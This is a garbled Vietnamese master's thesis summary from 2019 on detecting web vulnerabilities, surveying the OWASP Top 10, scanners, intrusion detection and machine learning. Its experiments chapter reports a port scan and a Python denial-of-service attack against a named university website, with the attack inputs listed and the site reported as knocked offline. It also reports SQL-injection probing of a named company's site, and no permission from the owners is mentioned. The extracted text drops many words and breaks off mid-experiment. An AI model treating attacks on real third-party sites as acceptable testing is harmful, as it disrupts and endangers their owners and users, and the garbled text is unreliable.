Nghiên cứu phát hiện lỗ hổng bảo mật web và thử nghiệm (tt)

25 84 0
Nghiên cứu phát hiện lỗ hổng bảo mật web và thử nghiệm (tt)

Đang tải... (xem toàn văn)

Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống

Thông tin tài liệu

HỌC VIỆN CƠNG NGHỆ BƯU CHÍNH VIỄN THƠNG NGUYỄN THỊ THÁI NGHIÊN CỨU PHÁT HIỆN LỖ HỔNG BẢO MẬT WEB VÀ THỬ NGHIỆM CHUYÊN NGÀNH: KHOA HỌC MÁY TÍNH MÃ SỐ: 8.48.01.01 TÓM TẮT LUẬN VĂN THẠC SĨ KỸ THUẬT (Theo định hướng ứng dụng) HÀ NỘI – 2019 Luận văn hồn thành tại: HỌC VIỆN CƠNG NGHỆ BƯU CHÍNH VIỄN THÔNG Người hướng dẫn khoa học: TS Vũ Văn Thỏa Phản biện 1: Phản biện 2: Luận văn bảo vệ trước Hội đồng chấm luận văn Thạc Sĩ Học Viện Cơng Nghệ Bưu Chính Viễn Thông Vào lúc: ngày tháng năm Có thể tìm hiểu thêm luận văn tại: - Thư viện Học Viện Công Nghệ Bưu Chính Viễn Thơng MỞ ĐẦU Tính cấp thiết đề tài Vấn đề an toàn an ninh mạng vấn đề cấp bách, đặc biệt việc công vào website Việc công vào hệ thống mạng ứng dụng web ngày gia tăng, cho thấy việc bảo mật an toàn thông tin website chưa thực đảm bảo Theo thống kê BKAV[12] an ninh mạng năm 2017, mức thiệt hại virus máy tính gây người dùng Việt Nam lên tới 10.400 tỷ, vượt qua mức 8.700 tỷ đồng năm 2016 Đây kết từ chương trình đánh giá an ninh mạng Tập đồn cơng nghệ Bkav thực vào tháng 12/2017 Mã độc mã hóa liệu Ransomware, virus lây qua USB, vấn nạn tin nhắn rác nguy từ cơng có chủ đích APT chủ điểm nóng năm 2017 Cũng theo thống kê Trung tâm Ứng cứu khẩn cấp máy tính Việt Nam [13], năm 2017 Trung tâm ghi nhận tổng số 134.375 cố công mạng loại hình Phishing (lừa đảo), Malware (mã độc) Deface (thay đổi giao diện) So với năm 2016, số lượng vụ công mạng năm 2017 nhiều gấp 4,2 lần (năm 2016 31.585), đó, loại hình cơng Phishing 10.057 cố (gấp 1,7 lần so với năm 2016), Malware 46.664 cố (gấp gần 2,8 lần năm 2016) Deface 77.654 cố (gấp 8,7 lần năm 2016) Mặt khác, theo khảo sát Hiệp hội An toàn thơng tin Việt Nam, số an tồn thơng tin Việt Nam năm 2017 59,9% Đây bước tiến đáng kể năm qua, năm 2016, số 47,4% Đặc biệt theo thống kê Microsoft, nước đứng đầu toàn cầu nguy nhiễm mã độc có nước thuộc khu vực Đông Nam Á Việt Nam Indonesia Đây hai nước có tỷ lệ nhiễm mã độc 45% vào quý II/2016, gấp đôi so với mức trung bình kỳ 21% giới Do nhu cầu phát triển dịch vụ thông tin mạng internet ngày lớn, đòi hỏi quan, tổ chức doanh nghiệp phải đảm bảo an toàn cho website Vì vậy, vấn đề nghiên cứu giải pháp phát lỗ hổng bảo mật website có tính cấp thiết, có ý nghĩa khoa học thực tiễn Từ lý trên, học viên lựa chọn đề tài: “NGHIÊN CỨU PHÁT HIỆN LỖ HỔNG BẢO MẬT WEB VÀ THỬ NGHIỆM” cho luận văn tốt nghiệp trình độ đào tạo thạc sĩ 2 Tổng quan vấn đề nghiên cứu World Wide Web (gọi tắt Web WWW - mạng lưới toàn cầu) khơng gian thơng tin tồn cầu mà người truy cập (đọc viết) qua thiết bị kết nối với mạng Internet Website tập hợp trang Web (web pages) bao gồm văn bản, hình ảnh, video, flash, , thường nằm tên miền (domain name) tên miền phụ (subdomain) Kể từ đời vào năm 1990, công nghệ WEB phát triển mạnh mẽ hạ tầng cung cấp dịch vụ phổ biến Internet Cho đến nay, có cơng nghệ WEB 1.0, WEB 2.0 giới hướng tới công nghệ WEB 3.0 Trong thực tế, thiếu Logging Monitoring trình vận hành, khai thác dịch vụ WEB dẫn đến thiếu giám sát phát kịp thời công lỗ hổng bảo mật Website Sự phát triển đa dạng chủng loại số lượng thiết bị truy nhập Website, nhiều trường hợp gây khó khăn q trình phát lỗ hổng bảo mật Website Vì vậy, vấn đề bảo mật Website quan tâm công Website ngày phổ biến gây nhiều hệ lụy khôn lường Các lỗ hổng bảo mật Website điểm yếu cho phép tin tặc công đánh cắp liệu người dùng, liệu hệ thống, kiểm sốt ứng dụng web, chí kiểm soát hệ thống máy chủ chạy ứng dụng web OWASP (Open Web Application Security Project ) dự án cộng đồng mở hoạt động với mục đích tăng cường an toàn cho ứng dụng web Từ năm 2010 nay, OWASP khởi động dự án “OWASP Top 10” nhằm đưa danh sách 10 lỗ hổng bảo mật nghiêm trọng ứng dụng web Kết dự án công bố sau [16]: (1) Injection (Chèn mã) (2) Broken Authentication and Session Management (Xác thực quản phiên yếu) (3) Cross-Site Scripting (XSS – Lỗi XSS) (4) Insecure Direct Object References (Tham chiếu đối tượng trực tiếp không an tồn) (5) Security Misconfiguration (Lỗi cấu hình an ninh) (6) Sensitive Data Exposure (Rò rỉ liệu nhạy cảm) (7) Missing Function Level Access Control (Thiếu kiểm soát truy nhập mức tính năng) (8) Cross-Site Request Forgery (CSRF - Lỗi CSRF) 3 (9) Using Components with Known Vulnerabilities (Sử dụng thành phần chứa lỗ hổng biết) (10) Unvalidated Redirects and Forwards (Tái định hướng chuyển tiếp khơng kiểm tra) Hiện nay, có nhiều tác giả nước đề xuất nhiều giải pháp công cụ phát lỗ hổng bảo mật Website để đảm bảo an tồn Website q trình cung cấp dịch vụ WEB Mục đích nghiên cứu Mục đích nghiên cứu luận văn nghiên cứu phát lỗ hổng bảo mật website thử nghiệm số giải pháp phát lỗ hổng bảo mật website thường gặp Đối tượng phạm vi nghiên cứu Đối tượng phạm vi nghiên cứu luận văn nghiên cứu giải pháp công cụ phát lỗ hổng bảo mật website Phương pháp nghiên cứu - Về mặt lý thuyết: Thu thập, khảo sát, phân tích tài liệu thơng tin có liên quan đến phát lỗ hổng bảo mật website - Về mặt thực nghiệm: Xây dựng số chương trình để mơ phát lỗ hổng bảo mật website Kết cấu luận văn gồm chương với nội dung sau: Chương 1: Tổng quan công lỗ hổng bảo mật website Nội dung chương tập trung vào khảo sát tảng công nghệ website vấn đề liên quan đến phát lỗ hổng bảo mật website Chương 2: Nghiên cứu phát số dạng lỗ hổng bảo mật website Nội dung chương khảo sát số giải pháp phát số lỗ hổng bảo mật website vấn đề liên quan Chương 3: Thử nghiệm Trong chương luận văn tiến hành thử nghiệm phát số dạng lỗ hổng bảo mật website vấn đề liên quan 4 CHƯƠNG 1: TỔNG QUAN VỀ TẤN CÔNG LỖ HỔNG BẢO MẬT WEBSITE Nội dung chương khảo sát tổng quan công nghệ web, số phương thức công lỗ hổng bảo mật website, số nguyên nhân gây lỗ hổng bảo mật website số vấn đề khác liên quan 1.1 Tổng quan công nghệ Web 1.1.1 Giới thiệu chung Trang web (web page) mạng Internet nơi giới thiệu thơng tin, hình ảnh doanh nghiệp sản phẩm, dịch vụ doanh nghiệp (hay giới thiệu thơng tin gì) để khách hàng truy cập nơi đâu, lúc Website tập hợp nhiều trang web Khi doanh nghiệp xây dựng website nghĩa xây dựng nhiều trang thông tin, catalog sản phẩm, dịch vụ, Để tạo nên website cần phải có yếu tố [1]:  Cần phải có tên miền (domain)  Nơi lưu trữ website (hosting)  Nội dung trang thông tin [web page] Hiện nay, hầu hết doanh nghiệp sử dụng website động, hệ công nghệ website người biết đến web 2.0 [1] - Tên miền (domain): Tên miền địa website, internet tồn địa (tức tồn tên miền) Có loại tên miền: - Tên miền Quốc tế: tên miền có dạng com; net; org; biz; name - Tên miền Việt Nam: tên miền có dạng vn; com.vn; net.vn; org.vn; gov.vn; - Lưu trữ website: Dữ liệu thông tin website phải lưu trữ máy tính (máy chủ - server) ln hoạt động kết nối với mạng Internet Một server lưu trữ nhiều website, server bị cố chẳng hạn tắt thời điểm khơng truy cập website lưu trữ server thời điểm bị cố - Tùy theo nhu cầu lưu trữ thông tin mà doanh nghiệp th dung lượng thích hợp cho website [thuê dung lượng host] - Dung lượng host: Là nơi để lưu sở liệu website (hình ảnh, thông tin, …), đơn vị đo dung lượng thường MB GB 5 - Băng thông hay dung lượng đường truyền: Là tổng số MB liệu tải lên máy chủ tải từ máy chủ (download, upload) nơi đặt website, đơn vị đo thông thường MB/giây 1.1.2 Dịch vụ chế hoạt động Web Dịch vụ Web kết hợp máy tính cá nhân với thiết bị khác, sở liệu mạng máy tính để tạo thành cấu tính tốn ảo mà người sử dụng làm việc thơng qua trình duyệt mạng Web Service giao diện truy cập mạng đến ứng dụng chức năng, xây dựng từ việc sử dụng công nghệ chuẩn Internet [10] Được minh hoạ hình 1.1 sau: Hình 1.1 Dịch vụ Web Service[10] Web Service cho phép truy cập tới code ứng dụng sử dụng chuẩn công nghệ Internet 1.1.3 Công nghệ web 2.0 Khái niệm Web 2.0 Dale Dougherty, phó chủ tịch Oreilly Media, đưa hội thảo Web 2.0 lần thứ OReilly Media MediaLive International tổ chức vào tháng 10/2004 Dougherty khơng đưa định nghĩa mà dùng ví dụ so sánh, phân biệt Web 1.0 Web 2.0: "DoubleClick Web 1.0; Google AdSense Web 2.0 Ofoto Web 1.0; Flickr Web 2.0 Britannica online Web 1.0; Wikipedia Web 2.0 v.v " Web 2.0 cách tiếp cận để sử dụng web tảng nơi mà người dùng tham gia vào việc tạo ra, chỉnh sửa, xuất thông tin thông qua công cụ hợp tác sáng tạo nội dung web Web 2.0 liên quan tới người dùng chỗ người dùng tạo nội dung mà người dùng giúp thu thập, tổ chức, mô tả, cập nhật, chia sẻ, truyền bá, xếp lại, bình luận, hiệu chỉnh, đóng gói lại nội dung 1.1.4 Cơng nghệ web 3.0 Web 3.0 cịn có tên gọi Semantic Web, định nghĩa Hiệp hội World Wide Web (W3C) nhằm xác định hệ web với tính độc đáo, đại hơn, trọng vào việc sử dụng định dạng liệu giao thức chung để trang web, dịch vụ online giao tiếp với cách nhanh chóng, tiện lợi dễ dàng 6 1.2 Một số phương thức công lỗ hổng bảo mật website 1.2.1 Giới thiệu chung Có thể phân chia dạng lỗ hổng bảo mật hệ thống nói chung thành ba cấp độ nguy hiểm sau [2]: Lỗ hổng loại C: lỗ hổng loại cho phép thực phương thức công theo DoS (Dinal of Services – Từ chối dịch vụ) Mức độ nguy hiểm thấp, ảnh hưởng tới chất lượng dịch vụ, làm ngưng trệ, gián đoạn hệ thống; khơng làm phá hỏng liệu đạt quyền truy nhập bất hợp pháp Lỗ hổng loại B: Các lỗ hổng cho phép người sử dụng có thêm quyền hệ thống mà không cần thực kiểm tra tính hợp lệ Mức độ nguy hiểm trung bình; Những lỗ hổng thường có ứng dụng hệ thống; dẫn đến lộ thơng tin yêu cầu bảo mật Lỗ hổng loại A: Các lỗ hổng cho phép người sử dụng truy nhập vào hệ thống bất hợp pháp Lỗ hổng nguy hiểm, làm phá hủy toàn hệ thống Các lỗ hổng bảo mật Website điểm yếu hệ thống cung cấp dịch vụ Web cho phép tin tặc công đánh cắp liệu người dùng, liệu hệ thống, kiểm soát ứng dụng web, chí kiểm sốt hệ thống máy chủ chạy ứng dụng web Các lỗ hổng bảo mật Website đa dạng bao gồm ba loại 1.2.2 Các phương thức công lỗ hổng bảo mật website 1.2.2.1 Tấn công SQL injection 1.2.2.2 Tấn công kiểu Broken Authentication And Session Management 1.2.2.3 Tấn công Cross Site Scripting (XSS) 1.2.2.4 Kiểu công Insecure Direct Object References 1.2.2.5 Tấn công Security Misconfiguration 1.2.2.6 Tấn công Sensitive Data Exposure 1.2.2.7 Tấn công Missing Function Level Access Control 1.2.2.8 Tấn công Cross-Site Request Forgery (CSRF) 1.2.2.9 Tấn công Using Components with Known Vulnerabilities 1.2.2.10 Tấn công Unvalidated Redirects and Forwards 1.2.2.11 Tấn công APT 1.2.3 Nhận xét đánh giá Thực tế với tình hình nay, ứng dụng Web ngày nhiều Sự thay đổi chóng mặt cơng nghệ giúp ứng dụng Web cải tiến nâng cao nhiều, vấn đề bảo mật cho ứng dụng Web không ngừng tăng lên Một ứng dụng Web bị rò rỉ lỗ hổng, hacker dễ dàng chiếm quyền quản trị Web, ứng dụng phần mềm công ty Nguyên nhân dẫn đến ứng dụng Web bị rò rỉ thông tin, nguy lỗ hổng, đoạn mã lệnh, mã code không phù hợp ứng dụng Web Chỉ cần lỗ hổng, hacker xâm nhập truy cập vào sở liệu, thông tin thực hành vi sai trái đánh cắp, thay đổi, chỉnh sửa, mã hóa liệu…Đối với doanh nghiệp, tổ chức, quan nhà nước, việc tăng lớp bảo mật, rà quét lỗ hổng ứng dụng điều cần thiết 1.3 Một số nguyên nhân gây lỗ hổng bảo mật website 1.3.1 Nguyên nhân tảng xây dựng website Với bùng nổ thương mại điện tử, có nhiều tảng website đời để đáp ứng nhu cầu cho người dùng Cũng vậy, gây khó khăn cho tổ chức cá nhân để chọn riêng cho tảng website phù hợp Rất nhiều tảng xây dựng website như: tảng tự code riêng, tảng wordpress, tảng Laravel, xây dựng cơng nghệ web 2.0 web 3.0 tham gia môi trường mạng internet khơng tích hợp cơng nghệ hệ thống, dẫn đến làm suy giảm tính ngơn ngữ công nghệ, làm cho rủi ro tiềm tàng dịch vụ 1.3.2 Nguyên nhân hạ tầng cung cấp dịch vụ web - Tính bí mật, rủi ro sau hữu: thu đường truyền liên lạc, nhà cung cấp tiếp cận liệu nhạy cảm, lộ lọt liệu nhà cung cấp dịch vụ; lộ lọt liệu phía nội - Tính tồn vẹn, rủi ro là: thao tác liệu truyền đưa, thao tác liệu phía nhà cung cấp dịch vụ, sửa đổi liệu ngẫu nhiên truyền đưa, sửa đổi liệu ngẫu nhiên phía nhà cung cấp dịch vụ, sửa đổi liệu hệ thống nội - Tính khả dụng (sẵn sàng) rủi ro sau đáng quan tâm: dịch vụ bị gián đoạn, thời gian ngừng trệ khơng chủ ý, cơng tính sẵn sàng, truy cập liệu, liệu phía nhà cung cấp dịch vụ, thiếu tính khả dụng hệ thống nội 8 1.3.3 Nguyên nhân người vận hành sử dụng dịch vụ web Đây nguyên nhân dẫn đến lỗ hổng bảo mật Website làm tiền đề cho hình thức cơng nguy hiểm dẫn tới tổn thất khó lường Kẻ cơng liên lạc với người quản trị hệ thống thay đổi số thông tin nhằm tạo điều kiện cho phương thức công khác 1.3.4 Nhận xét đánh giá Có thể nhiều nguyên nhân khác dẫn đến rủi ro lỗ hổng bảo mật web Các nguyên nhân chủ yếu là: nguyên nhân xây dựng tảng website thay đổi công nghệ cập nhật; nguyên nhân cung cấp hạ tầng dịch vụ website nguyên nhân người vận hành sử dụng dịch vụ website 1.4 Kết luận chương Trong chương 1, luận văn khảo sát tổng quan công nghệ web công nghệ web 2.0 công nghệ web 3.0 Từ đó, luận văn tiến hành phân tích phương thức cơng lỗ hổng bảo mật website thường gặp số nguyên nhân gây lỗ hổng bảo mật website Các kết nghiên cứu cho thấy nhiều tiềm tàng rủi ro cho hệ thống dịch vụ web hệ thống mạng internet tồn cầu Vì vây, vấn đề phát sớm lỗ hổng bảo mật Website để có biện pháp phịng ngừa hữu hiệu đóng vai trị quan trọng Chương tiếp theo, luận văn nghiên cứu giải pháp phát lỗ hổng bảo mật Website 9 Chương 2: NGHIÊN CỨU GIẢI PHÁP PHÁT HIỆN LỖ HỔNG BẢO MẬT WEBSITE Trong chương luận văn nghiên cứu số giải pháp phát lỗ hổng bảo mật website bao gồm: giải pháp sử dụng công cụ phần mềm, giải pháp sử dụng hệ thống IDS giải pháp sử dụng kỹ thuật học máy 2.1 Tổng quan phát lỗ hổng bảo mật Website 2.1.1 Giới thiệu chung Hệ thống Website hoạt động cung cấp dịch vụ cho người dùng thường trải qua giai đoạn sau đây: (1) Giai đoạn thiết kế hệ thống Website; (2) Giai đoạn cài đặt hệ thống Website; (3) Giai đoạn triển khai vận hành khai thác hệ thống Website Trong ba giai đoạn phát sinh lỗ hổng bảo mật cần phải có giải pháp phát lỗ hổng bảo mật cho hệ thống Website 2.1.2 Mơ hình phát lỗ hổng bảo mật Website Hình 2.1 Mơ hình tổng quát phát lỗ hổng bảo mật Website 10 Theo hình 2.1, trình phát lỗ hổng bảo mật Website xây dựng cách thực kiểm tra thụ động kiểm tra thăm dị tích cực (active probe) lỗ hổng Trong trình rà quét (scan), phương tiện phân tích lỗ hổng bảo mật Website gửi yêu cầu đến địa Website (lên cổng máy chủ), phân tích gói liệu nhận được, sau đưa kết luận tương ứng lỗ hổng tồn 2.2 Giải pháp sử dụng cơng cụ phần mềm dị qt 2.2.1 Giới thiệu giải pháp Một số tiêu chuẩn kiểm thử lỗ hổng bảo mật website điển hình: – OWASP (Open Web Application Security Project) – OSSTMM (Open Source Security Testing Methodology Manual) – Kiểm thử theo phương thức mã nguồn mở – PTF (Penetration Testing Framework) – Dò quét lỗ hổng bảo mật hệ thống – ISSAF (Information Systems Security Assessment Framework) – Đánh giá bảo mật Hệ thống thông tin 2.2.2 Một số phần mềm phát lỗ hổng bảo mật Website Hiện có nhiều phần mềm miễn phí trả phí phát hành Một số ứng dụng phát lỗ hổng bảo mật Website phổ biến liệt kê - Google Safe Browsing Diagnostic: cho biết tên miền đường dẫn liên quan đến địa web muốn kiểm tra - URL Void: có chức quét địa web 30 công cụ khác - UnMask Parasites: quét web cho biết chứa mối nguy hiểm ví dụ đường link, dịng lệnh đáng ngờ - PhishTank: cung cấp danh sách địa Web có nguy phishing - UnShorten.it: đảm bảo an toàn cho người dùng truy cập vào địa web rút gọn - Phần mềm Havij: phát lỗ hổng sở liệu SQL với ngôn ngữ lập trình web PHP - Phần mềm Rapid 7: có tính dị qt lỗ hổng tồn diện chun sâu phần cứng phần mềm 11 - Phần mềm Acunetix: chương trình tự động kiểm tra ứng dụng Web để tìm kiếm lỗ hổng bảo mật SQL Injection, hay Cross-Site Scripting,… 2.2.3 Nhận xét Giải pháp sử dụng công cụ phần mềm rà quét phát lỗ hổng bảo mật Website đơn giản tiến hành từ giai đoạn thiết kế cài đặt hệ thống website Giải pháp hỗ trợ cho nhà phát triển, cung cấp dịch vụ Web lẫn tổ chức, cá nhân sử dụng hệ thống Website Tuy nhiên, lỗ hổng bảo mật Website ngày khó phát hiện, thủ đọan tin tặc ngày tinh vi nguy hiểm Do đó, việc sử dụng phần mềm dị qt thơng thường khơng mang lại hiệu mong muốn, đặc biệt website lớn, phức tạp Vì vậy, cần phải có thêm giải pháp hỗ trợ khác 2.3 Giải pháp sử dụng hệ thống phát xâm nhập 2.3.1 Giới thiệu hệ thống phát xâm nhập Hệ thống phát xâm nhập (Intrusion Detection System – IDS) hệ thống phần cứng ứng dụng phần mềm theo dõi, giám sát thu thập thông tin từ hoạt động vào mạng Sau hệ thống phân tích để tìm dấu hiệu xâm nhập công hệ thống trái phép cảnh báo đến người quản trị hệ thống Nói cách khác, IDS hệ thống phát dấu hiệu có nguy làm tổn hại đến tính đắn, tính tồn vẹn, tính bảo mật hệ thống mạng máy tính, làm sở để đảm bảo cho an ninh hệ thống Chúng xác định hoạt động xâm nhập việc kiểm tra lại mạng, host log, system call, khu vực khác phát dấu hiệu xâm nhập Do đó, IDS có khả ứng dụng phát lỗ hổng bảo mật Website 2.3.2 Ứng dụng hệ thống IDS phát lỗ hổng bảo mật Website Hệ thống phát xâm nhập IDS có khả ứng dụng phát lỗ hổng bảo mật Website dựa liệu thu thập kết hợp với kỹ thuật phát công 12 1) Phát công dựa dấu hiệu (2) Phát công dựa bất thường (3) Phát cơng dựa phân tích trạng thái giao thức 2.3.3 Nhận xét Giải pháp sử dụng hệ thống IDS phát lỗ hổng bảo mật Website dựa cảnh báo có xâm nhập trái phép Đây giải pháp hữu hiệu nhằm phát lỗ hổng bảo mật cho hệ thống Website hoạt động Tuy nhiên, việc phân loại cụ thể lỗ hổng bảo mật cho hệ thống Website Vì vậy, phần tiếp theo, luận văn nghiên cứu giải pháp ứng dụng kỹ thuật học máy để khắc phục nhược điểm 2.4 Giải pháp sử dụng kỹ thuật học máy 2.4.1 Giới thiệu học máy Học máy lĩnh vực trí tuệ nhân tạo liên quan đến việc nghiên cứu xây dựng kĩ thuật cho phép hệ thống "học" tự động từ liệu để giải vấn đề cụ thể Theo nghĩa rộng: “học máy cụm từ dùng để khả chương trình máy tính để tăng tính thực thi dựa kinh nghiêm trải qua” “học máy để khả chương trình phát sinh cấu trúc liệu khác với cấu trúc liệu cũ” Lợi điểm phương pháp học máy phát sinh luật tường minh, sửa đổi, huấn luyện giới hạn định Các phương pháp học máy hoạt động liệu có đặc tả thơng tin Một tiến trình học máy gồm giai đoạn [6]: Giai đoạn học: hệ thống phân tích liệu nhận mối quan hệ (có thể phi tuyến tuyến tính) đối tượng liệu Kết việc học là: nhóm đối tượng vào lớp, tạo luật, tiên đoán lớp cho đối tượng Giai đoạn thử nghiệm (testing): Mối quan hệ (các luật, lớp ) tạo phải kiểm nghiệm lại số hàm tính tốn thực thi phần tập liệu huấn luyện tập liệu lớn Các kỹ thuật học máy chia làm loại: học có giám sát, học khơng giám sát học bán giám sát 13 Học có giám sát Học không giám sát Học bán giám sát 2.4.2 Ứng dụng kỹ thuật học máy phát lỗ hổng bảo mật Website Trong thực tế, kỹ thuật học máy thường sử dung để phát phân loại lỗ hổng bảo mật Website Đối với loại lỗ hổng biết, kỹ thuật học máy có giám sát thường lựa chọn để ứng dụng Để phát loại lỗ hổng chưa biết, kỹ thuật học máy không giám sát thường lựa chọn để ứng dụng Trong trường hợp tổng quát, kỹ thuật học máy bán giám sát thường lựa chọn để ứng dụng 2.4.3 Nhận xét Giải pháp sử dụng học máy phát lỗ hổng bảo mật Website thường cho kết phân loại lỗ hổng bảo mật Do hỗ trợ khả khắc phục, hạn chế nguy lỗ hổng bảo mât Tuy nhiên, giải pháp xây dựng mơ hình phân loại cụ thể lỗ hổng bảo mật cho hệ thống Website dựa kỹ thuật học máy đòi hỏi phải xây dựng hệ thống phức tạp Cùng với phát triển công nghệ, giải pháp có nhiều triển vọng triển khai thực tế 2.4 Kết luận chương Trong chương luận văn khảo sát tổng quan phát lỗ hổng bảo mật website Luận văn đề xuất mơ hình tổng quát phát lỗ hổng bảo mật website Từ đó, Luận văn nghiên cứu ba giải pháp phát lỗ hổng bảo mật website bao gồm: giải pháp sử dụng công cụ phần mềm, giải pháp sử dụng hệ thống IDS giải pháp sử dụng kỹ thuật học máy Trên sở kết đạt chương 2, chương luận văn tiến hành thử nghiệm số phương pháp phát lỗ hổng bảo mật website 14 Chương 3: THỬ NGHIỆM Trong chương luận văn tiến hành thử nghiệm số kịch phát lỗ hổng bảo mật website dựa kết khảo sát chương trước 3.1 Yêu cầu thử nghiệm 3.1.1 Đặt toán Trong chương trước, luận văn khảo sát giải pháp phát lỗ hổng bảo mật website Để thực kiểm nghiệm cho giải pháp phát lỗ hổng bảo mật website nghiên cứu, phần luận văn tiến hành xây dựng thử nghiệm số kịch phát lỗ hổng bảo mật website Do thời gian hạn chế, khuôn khổ luận văn tiến hành kịch thử nghiệm sau đây: (1) Thử nghiệm dò quét cổng website mở (2) Thử nghiệm công website phương thức DDoS (3) Thử nghiệm phát lỗ hổng bảo mật SQL Injection (4) Thử nghiệm kiểm tra lỗi trang website phương pháp Google Hacking (5) Thử nghiệm đề xuất hệ thống IDS sử dụng Snort Các thử nghiệm từ (1) đến (4) xây dựng kịch cài đặt dựa mã nguồn mở Python Thử nghiệm (5) cài đặt dựa theo tài liệu hướng dẫn công cụ Pfsense [15] Yêu cầu chung cho cài đặt thử nghiệm: - Phần cứng: Bộ xử lý 32 bit (x86) 64 bit (x64) có tốc độ gigahertz (GHz) nhanh hơn; RAM 2GB trở lên; Đĩa cứng có dung lượng trống 10 GB (64 bit) - Phần mềm: Cài đặt hệ thống window 7, 8, 10; Cơng cụ lập trình: Phần mềm Python 2.7 trở lên phần mềm Pycham Community Edition 2017.2, trình duyệt web firefox chrome - Dữ liệu giả định, tác giả tập trung khai thác trang web có tên miền http://www.hunre.edu.vn trang web www.nhuaphucthinh.com.vn để làm minh chứng 15 3.1.2 Giới thiệu chung Python Python ngôn ngữ kịch hướng đối tượng (object-oriented scripting language) Khơng vậy, cịn ngơn ngữ cấp cao có khả thơng dịch (interpreted language) có tính tương tác (interactive language) cao Nhờ chức thơng dịch mà trình thơng dịch (Interpreter) Python xử lý lệnh thời điểm chạy chương trình (runtime) Nhờ mà ta khơng cần biên dịch chương trình trước thực (tương tự Perl PHP) Từ khảo sát trên, luận văn lựa chọn Python làm ngôn ngữ để tiến hành cài đặt thử nghiệm 3.2 Kịch thử nghiệm 1: Thử nghiệm dò quét cổng website mở 3.2.1 Bài toán thử nghiệm Mục tiêu toán thử nghiệm quét cổng webiste mở, trước tiến hành khai thác cơng vào địa website đó, ta biết website mở đến cổng kết nối Do đó, đầu vào trang website cần thực quét cổng đầu cho biết website có cổng mở Kịch với mục tiêu cho biết website mở kết nối đến cổng bảng cho Xây dựng bước để thử nghiệm là: Bước 1: Xây dựng chương trình thực quét cổng ngôn ngữ Python Bước 2: Thử nghiệm tên miền địa IP website, cụ thể lấy tên miền http://www.hunre.edu.vn thực kiểm tra, thấy địa host hoạt động bình thường với địa IP: 125.235.8.201 Bước 3: Tiến hành thực chạy chương trình Python xây dựng nhập địa tên miền địa IP cần quét cổng theo yêu cầu 3.2.2 Kết thử nghiệm Bước 1: Xây dựng chương trình thực quét cổng ngôn ngữ Python sau: Bước 2: Thực kiểm tra địa Host cần qt cịn hoạt động hay khơng, cách nhập địa tên miền cmd windows Hình sau, tác giả lấy tên miền bất kỳ, chẳng hạn như: http://www.hunre.edu.vn thực kiểm tra, thấy địa host hoạt động bình thường với địa IP: 125.235.8.201 16 Bước 3: Tiến hành thực chạy chương trình Python xây dựng nhập địa tên miền địa IP cần quét cổng theo yêu cầu Hình 3.2 cho kết thực cổng mở kết nối tới địa nhập Hình 3.3: Kết thực quét cổng địa cho 3.2.3 Đánh giá kết thử nghiệm Với đoạn code chương trình xây dựng trên, thực chương trình kiểm tra địa host kết nối tới cổng tham gia mạng máy tính, qua tiền đề để Hacker biết khai thác dịch vụ host tham gia mạng Kết ví dụ cho thấy địa host IP (125.235.8.201) sau thời gian 22 phút 29 giây thực quét cổng tổng cộng 13 port mở 3.3 Kịch thử nghiệm 2: Thử nghiệm công website phương thức DoS 3.3.1 Bài toán thử nghiệm Mục tiêu toán dùng chương trình thực mã nguồn mở Python để thực công vào trang website kết làm cho website bị tê liệt truy cập Cụ thể trường hợp đầu vào website có địa chỉ: www.hunre.edu.vn có địa 125.235.8.201 kết đầu trang website bị lỗi Như vậy, công từ chối dịch vụ phân tán DoS (Denial of Service) kiểu công làm cho hệ thống máy tính hay hệ thống mạng q tải, khơng thể cung cấp dịch vụ phải dừng hoạt động Xây dựng bước để thử nghiệm là: Bước 1: Xây dựng chương trình thực cơng DoS ngôn ngữ Python thực thử nghiệm công vào địa trang website Bước 2: Chạy chương trình thực cơng DoS ngơn ngữ Python viết thực yêu cầu cần nhập vào thông số cổng công, số lần thực hiện, Bước 3: Kiểm nghiệm lại kết cách truy cập trình duyệt để kiểm tra trạng thái trang web bị công DoS 17 3.3.2 Kết thử nghiệm Bước 1: Xây dựng chương trình thực cơng DoS ngơn ngữ Python thực công vào địa trang website: hunre.edu.vn Bước 2: Chạy chương trình viết trên, kết xuất yêu cầu cần nhập vào như: Bảng 3.2: Bảng liệu đầu vào thực công DoS Nội dung yêu cầu + Nhập website cần công DoS: + Cổng (port) muốn thực công DoS: + Nội dung muốn gửi thông báo: + Cho phép số lần công: Dữ liệu giả định http://hunre.edu.vn 80 Xin thu mot lan cho biet… 100000000 Sau nhập đủ thông tin theo yêu cầu, chương trình tự động thực cơng đến đối tượng định Kết sau thời gian trang web bị tê liệt làm gián đoạn khơng hoạt động, kết thấy trang web có địa https://www.hunre.edu.vn bị từ chối truy cập: Bước 3: Truy cập trình duyệt để kiểm tra trạng thái trang web bị công DoS: 3.3.3 Đánh giá kết thử nghiệm Với chương trình viết cho mục đích cơng từ chối dịch vụ DoS thấy địa host muốn thực công, cần nhập tên miền địa IP trang web thực công cổng 80 với nội dung gửi đến số lần liên tiếp thực công khoảng thời gian định, điều làm cho trang web khơng thể truy cập làm gián đoạn truy cập, cụ thể trang web báo lỗi truy cập 3.4 Kịch thử nghiệm 3: Thử nghiệm phát lỗ hổng bảo mật SQL Injection 3.4.1 Bài toán thử nghiệm Mục tiêu toán dùng kỹ thuật kiểm tra trang website có kết nối đến sở liệu SQL kỹ thuật vượt kiểm tra lúc đăng nhập vào website, công webiste cách câu lệnh sử dụng lệnh truy vấn SQL, sử dụng store procedures SQL server câu lệnh chèn SQL, kết đạt lấy thông tin bảo mật hệ thống tên đăng nhập mật truy cập Như vậy, SQL Injection kiểu hack web cách inject mã SQL query/command vào input trước chuyển cho ứng dụng web xử lí, bạn login mà không cần username password, remote execution (thực thi từ xa), dump data 18 lấy root SQL server Cơng cụ dùng để cơng trình duyệt web bất kì, chẳng hạn Internet Explorer, Firefox, Netscape, Lynx, Xây dựng bước để thử nghiệm: Bước 1: Xây dựng chương trình thực kiểm tra lỗi trang web ngôn ngữ Python Bước 2: Thực chạy chương trình viết ngơn ngữ Python bước để kiểm tra kết lỗ hổng website có dính lỗi SQL Bước 3: Thực dùng câu lệnh truy vấn SQL để thực cơng trang website địa trình duyệt web bất kỳ, sử dụng câu lệnh Select truy vấn 3.4.2 Kết thử nghiệm Bước 1: Xây dựng chương trình thực kiểm tra lỗi trang web ngôn ngữ Python Bước 2: Thực chạy chương trình để kiểm tra kết quả, kết tác giả lấy trang website có tên miền http://www.nhuaphucthinh.com.vn để làm minh chứng Kết chương trình phát website có lỗ hổng sở liệu phần xử lý admin theo kết sau: Hình 3.7: Kết phát 